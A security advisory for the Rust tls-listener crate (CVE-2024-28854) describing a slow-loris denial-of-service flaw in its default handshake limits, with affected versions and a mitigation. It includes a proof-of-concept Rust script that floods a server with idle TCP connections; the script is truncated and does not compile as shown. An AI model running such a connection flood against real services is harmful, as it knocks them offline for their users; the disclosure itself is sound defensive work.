An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS0ycXBoLXFwdm0tMnFmN84AA6CO

tls-listener affected by the slow loris vulnerability with default configuration


With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.


The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);


Running the HTTP TLS server example:, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "";
    let sockets: Vec<_> = url
        .inspect(|s| println!("{s:?}"))

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    for _ in 0..10000 {
        for &socket in &sockets {
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;

    while js.join_next().await.is_some() {}


This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener


Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: about 1 month ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-2qph-qpvm-2qf7, CVE-2024-28854
References: Repository:
Blast Radius: 14.5

Affected Packages

Dependent packages: 7
Dependent repositories: 85
Downloads: 705,982 total
Affected Version Ranges: <= 0.9.1
Fixed in: 0.10.0
All affected versions: 0.1.0, 0.1.1, 0.2.0, 0.2.1, 0.3.0, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.5.0, 0.5.1, 0.6.0, 0.7.0, 0.8.0, 0.9.0, 0.9.1
All unaffected versions: 0.10.0